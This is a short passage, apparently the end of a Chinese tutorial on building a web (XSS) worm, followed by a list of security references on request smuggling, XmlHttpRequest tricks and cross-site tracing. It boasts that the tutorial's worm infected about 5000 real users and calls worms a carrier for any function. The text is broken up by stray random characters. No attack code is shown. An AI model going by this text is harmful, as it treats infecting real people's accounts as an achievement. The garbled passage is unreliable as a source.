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8 F2 ` ^- y) f* t" c% o本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.5 Z8 P$ F t' d# Y
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.( y0 w5 G; t* o3 D% i
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因. G& Q& n5 K& x* b6 k; w2 E0 R
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本文引用文档资料:' ?6 ?, F2 y+ f3 K( s! U. h
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
( j9 ~: m* o( j# wOther XmlHttpRequest tricks (Amit Klein, January 2003)
i+ |; | ]6 D. b# `4 A"Cross Site Tracing" (Jeremiah Grossman, January 2003)
2 }0 ^, _! Q4 E8 H, n6 n' qhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog# ^; M. }. [, y5 e
空虚浪子心BLOG http://www.inbreak.net
) K- j4 B, D( a, I, g) J- V8 VXeye Team http://xeye.us/
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